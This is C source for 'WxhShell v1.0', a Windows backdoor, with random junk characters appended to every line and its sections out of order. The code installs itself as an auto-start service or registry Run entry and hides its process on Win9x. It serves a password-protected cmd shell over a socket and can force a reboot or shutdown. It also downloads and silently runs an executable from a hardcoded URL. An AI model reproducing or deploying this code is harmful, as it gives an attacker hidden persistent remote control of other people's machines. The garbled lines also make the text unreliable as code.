    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3g4vpKg6c  
    if(Boot(SHUTDOWN)) OpbszSl"y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YLr%vnO*NS  
    else { x`b~ZSNJ%  
    closesocket(wsh); g0[<9.ke  
    ExitThread(0); CYY X\^hA  
    } |sDG>Zq?  
    break; n:{-Vvt  
    } @8}-0c  
  // 获取shell aH~x7N6!  
  case 's': { ?et0W|^k  
    CmdShell(wsh); @p?b"?QaB  
    closesocket(wsh); ^H y)<P  
    ExitThread(0); Y:#kel<  
    break; {g23[$X]N  
  } 3/#R9J#  
  // 退出 Q*oA{eZY  
  case 'x': { w7.?zb!N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h|Teh-@A5  
    CloseIt(wsh); UGezo3}  
    break; a`GN@ 8  
    } x1BDvTqW  
  // 离开 vi()1LS/!  
  case 'q': { UH.}B3H   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `eA&C4oFOO  
    closesocket(wsh); C$]%1<-Iv]  
    WSACleanup(); {R6Zwjs  
    exit(1); o 0cc+  
    break; /oix tO)  
        } ^~*[~  
  } 0wa!pE"  
  } nP3;<*T P0  
""U?#<}GD  
  // 提示信息 k(vEp ]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dOYmt,  
} &>wce 5uV  
  } U{:(j5m  
wshp{ y  
  return; Bafz&#;Q'  
} ZE3ysLk m  
8BoT%kVeJv  
// shell模块句柄 Lb3K};SIV  
int CmdShell(SOCKET sock) &l!{!f4  
{ ?}lpo; $  
STARTUPINFO si; %JA&O  
ZeroMemory(&si,sizeof(si)); N@du.d:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i[BR(D&l_p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +hvIJv ?  
PROCESS_INFORMATION ProcessInfo; lVp~oZC6[  
char cmdline[]="cmd"; Pk?%PB ?Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); re 1k]  
  return 0; ?GD? J(S  
} ]3 8<ly7  
>7Sl( UY-  
// 自身启动模式 UEYM;$_@4o  
int StartFromService(void) oTV8rG  
{ p31rhe   
typedef struct U"Ob@$ROFy  
{ I~5fz4Q  
  DWORD ExitStatus; $?JLCa  
  DWORD PebBaseAddress; ~1]2A[`s!  
  DWORD AffinityMask; -$MC  
  DWORD BasePriority; u$@I/q,ou  
  ULONG UniqueProcessId; w5/  X {  
  ULONG InheritedFromUniqueProcessId; { )GEgC  
}   PROCESS_BASIC_INFORMATION; eYX_V6c  
JE:n`l/p  
PROCNTQSIP NtQueryInformationProcess; O> ^~SO  
V-U  ^O45  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w wRT$-!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rc.<0#  
]! J3?G  
  HANDLE             hProcess; 'GdlqbX(%  
  PROCESS_BASIC_INFORMATION pbi; [ *a>{sO[  
4Z p5o`*g2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C05{,w?  
  if(NULL == hInst ) return 0; I%b:Z  
.q[sk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0B:{4Lsn&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2yO)}g FJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p1gX4t]%}a  
>sS:x,-  
  if (!NtQueryInformationProcess) return 0; it|:P  
1YD.jU^;HD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e`2R{H  
  if(!hProcess) return 0; #_L&  
E=~WQ13Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dv}R]f'  
@.@#WHde  
  CloseHandle(hProcess); LmdV@gR  
QM=436fq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SK}g(X7IWH  
if(hProcess==NULL) return 0; 0Lz56e'j  
9 @*>$6  
HMODULE hMod; dQ~"b=  
char procName[255]; cYn}we}7  
unsigned long cbNeeded; XlJux_LD:  
7Bd_/A($  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WWD@rnsVf  
@gGuV$Mw  
  CloseHandle(hProcess); 8/$iCW  
!e"m*S.(6{  
if(strstr(procName,"services")) return 1; // 以服务启动 $ rnr;V  
l8lR5<  
  return 0; // 注册表启动 V+5 n|L5  
} zvC,([  
"$;:dfrU  
// 主模块 oDI*\S>  
int StartWxhshell(LPSTR lpCmdLine) JN-8\ L  
{ D![Twlll  
  SOCKET wsl; wDk[)9#A   
BOOL val=TRUE; ~MX@-Ff  
  int port=0; B^{DCHu/  
  struct sockaddr_in door; j? A +qk  
hV)I C9  
  if(wscfg.ws_autoins) Install(); cae}dHG2  
qMkP/BjV  
port=atoi(lpCmdLine); Jo ^ o`9  
b;{C1aa>}  
if(port<=0) port=wscfg.ws_port; *?S\0a'W@  
"7DPsPs  
  WSADATA data; _%]H}N Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I~I%z'"RQd  
1N &U{#4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {mDaK&]Oh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -#r_9HQ,w  
  door.sin_family = AF_INET; c/u;v69r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =[,adB  
  door.sin_port = htons(port); 3^\y>  
+J} 41  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @fw U%S[v  
closesocket(wsl); ,Xw/ t>  
return 1; E$T#o{pai  
} DCm;dh  
C{D2mSS  
  if(listen(wsl,2) == INVALID_SOCKET) { R[(,wY_1  
closesocket(wsl); 2a^(8A`7W  
return 1; ra3WLK  
} qrdI"  
  Wxhshell(wsl); ">o/\sXeH  
  WSACleanup(); :/3`+&T^/  
8P 8"dN[  
return 0; u0,~pJvX  
Z#Fw 1  
} & 2b f  
/X?Nv^Hy  
// 以NT服务方式启动 PQK_*hJG"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1li`+~L F  
{ .q=X58tHu  
DWORD   status = 0; %bsdC0xM  
  DWORD   specificError = 0xfffffff; _eF*8 /z  
oTL "]3`'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v6GWD}HH,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \bg^E>-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %nIjRmqM~  
  serviceStatus.dwWin32ExitCode     = 0; Kq*^*vWC  
  serviceStatus.dwServiceSpecificExitCode = 0; `>*P(yIN  
  serviceStatus.dwCheckPoint       = 0; BK +JHT  
  serviceStatus.dwWaitHint       = 0; gp}S 1  
|oM6(px  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4ldN0 _T5  
  if (hServiceStatusHandle==0) return; )*uI/E  
* n[6H  
status = GetLastError(); ~UnfS};U  
  if (status!=NO_ERROR) `XD$1>  
{ 6QV/8IX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,"/_G  
    serviceStatus.dwCheckPoint       = 0; R 'F|z{8  
    serviceStatus.dwWaitHint       = 0; TQ BL!w  
    serviceStatus.dwWin32ExitCode     = status; :sn}D~  
    serviceStatus.dwServiceSpecificExitCode = specificError; %8ul}}d9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N&n{R8=^"  
    return; @.5Ybgn  
  } >ko;CQR  
aCMcu\rd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }A#FGH +  
  serviceStatus.dwCheckPoint       = 0; V=c&QPP  
  serviceStatus.dwWaitHint       = 0; i{,>2KVC|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); koUH>J:  
} j_{gk"2:d`  
c" l~=1Dr  
// 处理NT服务事件,比如:启动、停止 cx02b-O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #*~ (  
{ ~(^[TuJC  
switch(fdwControl) iU3co|q7  
{ CN >q`[!  
case SERVICE_CONTROL_STOP: A_g'9  
  serviceStatus.dwWin32ExitCode = 0; "ZH1W9A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ -%oO  
  serviceStatus.dwCheckPoint   = 0; PCES&|*rf  
  serviceStatus.dwWaitHint     = 0; |k^X!C0  
  { 0}ZuF.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O`2%@%?I  
  } zR/ATm]9  
  return; qaUHcdH  
case SERVICE_CONTROL_PAUSE: v\<`"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JRG7<s $  
  break; OLiYjYd  
case SERVICE_CONTROL_CONTINUE: `0so)2ty+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !is8`8F8  
  break; 6L4B$'&KQZ  
case SERVICE_CONTROL_INTERROGATE: & z?y  
  break; zgO?%O  
}; dx~F [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ar\`OhR  
} `=.{i}V  
F|"NJ*o}  
// 标准应用程序主函数 kt@+UK."  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !?KY;3L:  
{ %xY'v$ %  
*zmbo >{(  
// 获取操作系统版本 `T mIrc  
OsIsNt=GetOsVer(); 6I>W(_T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rVz#;d!`z  
c  xX  
  // 从命令行安装 T$+}Srb  
  if(strpbrk(lpCmdLine,"iI")) Install(); No[>1]ds  
 Im#3sn  
  // 下载执行文件 C[[z3tn  
if(wscfg.ws_downexe) { l5aQDkp}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #$A6s~`B  
  WinExec(wscfg.ws_filenam,SW_HIDE); K%Rx5 S  
} =EIsqk^*  
~#g Vs*K  
if(!OsIsNt) { lte~26=e  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]o_ Ps|  
HideProc(); }U8H4B~UtY  
StartWxhshell(lpCmdLine); `OBDx ^6F  
} )[/+j"F   
else %T 88K}?=  
  if(StartFromService()) &<L+;k~P%  
  // 以服务方式启动 ^*Ca+22xO  
  StartServiceCtrlDispatcher(DispatchTable); W/+|dN{O+g  
else jtd{=[STU  
  // 普通方式启动 N<?RN;M  
  StartWxhshell(lpCmdLine); @O4m-Oosi  
4$.4,4+  
return 0; q~a6ES_lA  
} y\ouIsI77  
m!v`nw]  
Bm^vKzp  
:^px1  
=========================================== cz.-cuD[iD  
WM9QC59  
>\MV/!W  
pnVtjWrbG  
]2tX'=X  
?-*_v//g  
" uGgR@+7?Z  
W4T>@ b.  
#include <stdio.h> wxF9lZz  
#include <string.h> fU$zG"a_  
#include <windows.h> +\Rp N  
#include <winsock2.h> o^gqpQv  
#include <winsvc.h> E5.)ro=$  
#include <urlmon.h> :fo%)_Jc!  
ck-wMd  
#pragma comment (lib, "Ws2_32.lib") :Iw)xd1d}\  
#pragma comment (lib, "urlmon.lib") C S+6!F]  
w0VJt<e*  
#define MAX_USER   100 // 最大客户端连接数 .}2^YOmd  
#define BUF_SOCK   200 // sock buffer 7@MVInV9  
#define KEY_BUFF   255 // 输入 buffer X8F _Mb*  
ll73}v  
#define REBOOT     0   // 重启 mG\,T3/*  
#define SHUTDOWN   1   // 关机 7*uG9iX  
}hEBX:-  
#define DEF_PORT   5000 // 监听端口 NSj}?hz  
^[lg1uMW  
#define REG_LEN     16   // 注册表键长度 J7_'@zU  
#define SVC_LEN     80   // NT服务名长度 `dMl5b  
X 1^f0\k  
// 从dll定义API }G_ i+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^o65sM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,RDxu7iT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j=M_>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cBiv=!n  
hPP+lqY[  
// wxhshell配置信息 /w`{]Ntgu  
struct WSCFG { pNCk~OM  
  int ws_port;         // 监听端口 WUMx:a0!  
  char ws_passstr[REG_LEN]; // 口令 R84 g<  
  int ws_autoins;       // 安装标记, 1=yes 0=no :/K 'P`JaL  
  char ws_regname[REG_LEN]; // 注册表键名 {HlUV33O  
  char ws_svcname[REG_LEN]; // 服务名 6t<~. 2'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wnN@aO6g*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,`B*rCOa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;9/6X#;$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ) yRC$7I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _LxV)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vt*Duh+4  
(+q?xwl!N  
}; 0&$e:O'v  
GK2IY  
// default Wxhshell configuration \/. Of]YQ  
struct WSCFG wscfg={DEF_PORT, !s9<%bp3  
    "xuhuanlingzhe", p%G4Js.  
    1, 8HxB\ !0F?  
    "Wxhshell", p$0;~1vH  
    "Wxhshell", XGk8Ki3w  
            "WxhShell Service", dPPe_% Ilr  
    "Wrsky Windows CmdShell Service", g*AnrQ}P  
    "Please Input Your Password: ", PQlG !  
  1, /px*v<Aw1  
  "http://www.wrsky.com/wxhshell.exe", Bz }Kdyur  
  "Wxhshell.exe" uZW ?0W  
    }; 4qrPAt  
v'2EYTVNJD  
// 消息定义模块 N V^ktln  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /1gKc}rB2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \#lh b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YEF%l'm( \  
char *msg_ws_ext="\n\rExit."; DOw< XlvC  
char *msg_ws_end="\n\rQuit."; iePpJ>(  
char *msg_ws_boot="\n\rReboot..."; gOx4qxy/m|  
char *msg_ws_poff="\n\rShutdown..."; 1x V~EX  
char *msg_ws_down="\n\rSave to "; e-]k{_wm  
mO?G[?*\  
char *msg_ws_err="\n\rErr!"; u> %r(  
char *msg_ws_ok="\n\rOK!"; pr>K#@^  
/#G^?2o M  
char ExeFile[MAX_PATH]; fFqK.^Tn  
int nUser = 0; lmz{,O  
HANDLE handles[MAX_USER]; KJ.ra\F  
int OsIsNt; U-Fr[1I6p  
"k"q)5c  
SERVICE_STATUS       serviceStatus; #OJsu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ePrb G4xv  
+O*S>0  
// 函数声明 Rqa#;wb!(  
int Install(void); eOZA2  
int Uninstall(void); Njc3X@4=  
int DownloadFile(char *sURL, SOCKET wsh); F'C]OMBE  
int Boot(int flag); %_@8f|# ,M  
void HideProc(void); 1;?b-FEq:  
int GetOsVer(void); *O$kF.3q  
int Wxhshell(SOCKET wsl); !:c7I@  
void TalkWithClient(void *cs); IgLP=mqcWK  
int CmdShell(SOCKET sock); >Djv8 0  
int StartFromService(void); $*G]6s  
int StartWxhshell(LPSTR lpCmdLine); k#5S'sCF<  
~*LH[l>K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pE^LQi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;k (}~_  
{1#5\t>9yD  
// 数据结构和表定义 ~N>[7I"*  
SERVICE_TABLE_ENTRY DispatchTable[] = N{q5E,}  
{ &.K8c phj  
{wscfg.ws_svcname, NTServiceMain}, f|m.v +7k  
{NULL, NULL} E$ F)z  
}; (xG#D;M0  
-x:Wp*,  
// 自我安装 /fBZRdB  
int Install(void) @wl80v  
{ A}t.`FLP,j  
  char svExeFile[MAX_PATH]; /(W{`  
  HKEY key; ~ W52Mbf  
  strcpy(svExeFile,ExeFile); /UN%P2>^1  
K{x<zv&,  
// 如果是win9x系统,修改注册表设为自启动 qWw@6VvoQ  
if(!OsIsNt) { p%xo@v(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j ;VYF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o:f=dBmoX  
  RegCloseKey(key); Hu1w/PLq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /n@_Ihx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !+U#^2Gz  
  RegCloseKey(key); 8ENAif   
  return 0; UF D_  
    } wW6?.}2zU  
  } sFC1PdSk4T  
} &7E0H{  
else { zw\"!=r^  
qW?^_  
// 如果是NT以上系统,安装为系统服务 YRW<n9=3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h*_r=' E  
if (schSCManager!=0) Z TjlGU `  
{ qW;nWfkYC  
  SC_HANDLE schService = CreateService VF<{Qx*  
  ( &XrF#s  
  schSCManager, kki]6_/n  
  wscfg.ws_svcname, ?uk|x!Ko]  
  wscfg.ws_svcdisp, -S)HB$8  
  SERVICE_ALL_ACCESS, {D1=TTr^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r/:9j(yxr  
  SERVICE_AUTO_START, @<>](4D  
  SERVICE_ERROR_NORMAL, I/XVo2Ee  
  svExeFile, ZSKk*<=  
  NULL, 9I]*T  
  NULL, :L*CL 8m  
  NULL, dkG-Yz~  
  NULL, ;,Lq*x2s  
  NULL hh:0m\@<  
  ); G]QD6b9~  
  if (schService!=0) Ev*HH+:b>  
  { ;2#7"a^  
  CloseServiceHandle(schService); lq.AQ  
  CloseServiceHandle(schSCManager); bL swq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MbY a6jrF  
  strcat(svExeFile,wscfg.ws_svcname); WdunI~&.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WiPMvl8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1G{$ B^ f  
  RegCloseKey(key); ZLE4 XB]  
  return 0; jUW{Z@{U  
    } ={#r/x  
  } ,h8)5Mj/J  
  CloseServiceHandle(schSCManager); 2MtaOG2l&q  
} /SlCcozFL~  
} al#yc  
\iu2rat^  
return 1; <Ni]\-*  
} UL"Jwq D  
L.+5`&  
// 自我卸载 @-!w,$F)%d  
int Uninstall(void) QVzLf+R~  
{ z'fGHiX7.0  
  HKEY key; crZ\:LeJ  
}v=q6C#Q>  
if(!OsIsNt) { BR"*-$u0;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B1*%pjy  
  RegDeleteValue(key,wscfg.ws_regname); =_.Zv  
  RegCloseKey(key); L7a+ #mGE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3&x_%R  
  RegDeleteValue(key,wscfg.ws_regname); zx;x@";p  
  RegCloseKey(key); =0x[Sa$&,  
  return 0; (_U&EX%  
  } r95$B6  
} D&Ngg)_Mq  
} MEq ()}7P  
else { Q0ev*MS9Z  
>q[Elz=dI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fv<($[0  
if (schSCManager!=0) vP88%I;  
{ >UR-37g{p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SGjaH 8z  
  if (schService!=0) 2JtGS-t  
  { eT:%i"C  
  if(DeleteService(schService)!=0) { MJ &6 Z*  
  CloseServiceHandle(schService); Ha4?I$'$  
  CloseServiceHandle(schSCManager); NTgk0cq  
  return 0; o` ,&yq.  
  } D[;6xJ  
  CloseServiceHandle(schService); T5W r;a  
  } cs~ }k7><  
  CloseServiceHandle(schSCManager); %)\Cwl   
} 1`B5pcuI  
} e J2[=L'  
h/eKVRGs"  
return 1; VY~WkSi[<  
} >N+e c_D^  
\p [!@d^  
// 从指定url下载文件 L-G186B$r  
int DownloadFile(char *sURL, SOCKET wsh)  X-~Q  
{ G0y%_"[  
  HRESULT hr; Q.M3rRh  
char seps[]= "/"; v%86JUlK.  
char *token; mxGvhkj  
char *file; Gash3}+  
char myURL[MAX_PATH]; 83;1L:}`  
char myFILE[MAX_PATH]; QF[9Zn  
*~2jP;$  
strcpy(myURL,sURL); <Hm:#<\  
  token=strtok(myURL,seps); 2/?pI/W  
  while(token!=NULL) B:+}^=  
  { dpJi5fN  
    file=token; G?>~w[#mQR  
  token=strtok(NULL,seps); &v3r#$Hj[  
  } )bw>)&)b`  
v`x~O+  
GetCurrentDirectory(MAX_PATH,myFILE); [J-r*t"!  
strcat(myFILE, "\\"); |]r# IpVf  
strcat(myFILE, file); dA\>z[n=  
  send(wsh,myFILE,strlen(myFILE),0); vaR0`F  
send(wsh,"...",3,0); j(Q$frI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $`_(%tl  
  if(hr==S_OK) YVu8/D@ o  
return 0; t6-c{ZX>A  
else n'4D;4  
return 1; ?_n.B=H`8  
&\C vrxa  
} h/-7;Csv  
$. V(_  
// 系统电源模块 h`3;^T  
int Boot(int flag) lh?mN3-*  
{ w[4SuD  
  HANDLE hToken; C. 8>  
  TOKEN_PRIVILEGES tkp; >2$Ehw:K^  
Wc`Vcn1  
  if(OsIsNt) { B;1wnKdj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #c/v2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  4uU(t  
    tkp.PrivilegeCount = 1; dVe3h.,[v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L)B?p!cdLT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o#0NIn"GS/  
if(flag==REBOOT) { DgOoEHy[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &\!-d%||)  
  return 0; vkbB~gr@*  
} C .YtjLQP$  
else { IFpmf0;^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TvI}yaCu/x  
  return 0; YWq[)F@0G  
} 66Hu<3X P  
  }  pLyX9C  
  else { j#!J hi  
if(flag==REBOOT) { WYaDN:kZf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |l)Oy#W  
  return 0; -P'>~W,~  
} ,FBF;zED  
else { HJg)c;u/2;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O5k's  
  return 0; - *yj[?6  
} A9tQb:  
} 7Jc=`Zm'  
W"!nf  
return 1; ?cg+RNI  
} vv%Di.V  
Eda sGCo  
// win9x进程隐藏模块 |'KNR]: N  
void HideProc(void) N?87Bd  
{ UI;!_C_  
GSpS8wWD }  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pv0OoN*eJ{  
  if ( hKernel != NULL ) xsAF<:S\  
  { 1/1P;8F@G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vZ|-VvG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bWMM[pnL  
    FreeLibrary(hKernel); mX|AptND  
  } ^OA}#k NTW  
Gl1`Nx0  
return; fDbs3"H Q  
} AKAAb~{  
9`09.`U9[  
// 获取操作系统版本 KCCS7l/  
int GetOsVer(void) r0S7e3xb  
{ C2Y&qX,  
  OSVERSIONINFO winfo; j83p[qR7o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A #jiCIc  
  GetVersionEx(&winfo); 5#2vSq!H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I [e7Up  
  return 1; ~:+g+Mf~[  
  else vDBnWA  
  return 0; 0tsll1  
} IndNR:"g  
CZ&TUE|:DA  
// 客户端句柄模块 XriVHb  
int Wxhshell(SOCKET wsl) ;G},xDGO_m  
{ BB|{VwN  
  SOCKET wsh; m?M(79u[  
  struct sockaddr_in client; xaeY^"L  
  DWORD myID; Y<0f1N  
::M/s#-@  
  while(nUser<MAX_USER) - z|idy{  
{ @*2FG\c<  
  int nSize=sizeof(client); 8D+OF 6CM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g#70Sg*d  
  if(wsh==INVALID_SOCKET) return 1; pH"LZ7)DI0  
Rw. Uz&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @nZFw.  
if(handles[nUser]==0) a7d782~  
  closesocket(wsh); 'Y&yt"cs  
else ;^ /9sLW?#  
  nUser++; 6,c,i;J_  
  } $[|8bE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O%+:fJz6wI  
%9zcc)cP  
  return 0; -)$)<k  
} :))AZ7_  
h1Q7(8=Eg  
// 关闭 socket zJx<]=]  
void CloseIt(SOCKET wsh) {)%B?75~  
{ &[s^`e  
closesocket(wsh); [I^SKvM  
nUser--; 'Lm.`U  
ExitThread(0); 4wBCs0NIm  
} gVI*`$  
"1[N;|xa  
// 客户端请求句柄 Z]Qm64^I  
void TalkWithClient(void *cs) Nf;vUYP  
{ I|`K;a  
APLu?wy7s5  
  SOCKET wsh=(SOCKET)cs; fI BLJ53  
  char pwd[SVC_LEN]; ,3W a~\/Q  
  char cmd[KEY_BUFF]; Q% dpGI  
char chr[1]; \]r{73C  
int i,j; {?j|]j  
Cu`ZgK LQ  
  while (nUser < MAX_USER) { (te \!$  
ZRX>SyM  
if(wscfg.ws_passstr) { @L~y%#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zY#U]Is  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f?{Y<M~]  
  //ZeroMemory(pwd,KEY_BUFF); wIY#TBu  
      i=0; _@@S,(MA  
  while(i<SVC_LEN) { ]-AT(L >  
JEP"2MN,  
  // 设置超时 =W4cWG?+  
  fd_set FdRead; $ &^ ,(z9  
  struct timeval TimeOut; dyx 4_!fO  
  FD_ZERO(&FdRead); |C(72t?K  
  FD_SET(wsh,&FdRead); fx}R7GN2  
  TimeOut.tv_sec=8; - jyD!(  
  TimeOut.tv_usec=0; '/"(`f,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ):\ pD]e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y]n^(V  
=-q)I[4#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G's/Q-'[\  
  pwd=chr[0]; S9L3/P]  
  if(chr[0]==0xd || chr[0]==0xa) { Ti'O 2k  
  pwd=0; .oe,# 1Qh{  
  break; O{dx+f  
  } Z os~1N]3  
  i++; r`&ofk1K  
    } /stED{j,  
]c5Shj5|p  
  // 如果是非法用户,关闭 socket d3![b1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $]T7Iwk  
} @ J"1 !`  
SMhT>dB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2GD%=rP2]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G?"1 z;  
KcrF=cA  
while(1) { iA< EJ  
L3W ^ip4  
  ZeroMemory(cmd,KEY_BUFF); Jrffb=+b  
NKMB,b  
      // 自动支持客户端 telnet标准   "90}H0(+  
  j=0; ! [:K/  
  while(j<KEY_BUFF) { Cr[#D$::`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gz88$BT  
  cmd[j]=chr[0]; I|PiZ1]2 Y  
  if(chr[0]==0xa || chr[0]==0xd) { #F9$"L1Hg  
  cmd[j]=0; Z2`e*c-[E  
  break; "RG.vo7b  
  } 0\mM^+fO  
  j++; ~pw_*AN  
    } I{2e0  
` Y ut 1N  
  // 下载文件 G)putk@   
  if(strstr(cmd,"http://")) { :wF(([&4p!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %] Bb;0G  
  if(DownloadFile(cmd,wsh)) _I -0[w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IGp-`%9  
  else l9<+4rK2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [OT@gp:  
  } bc 0|tJc  
  else { kg-%:;y.  
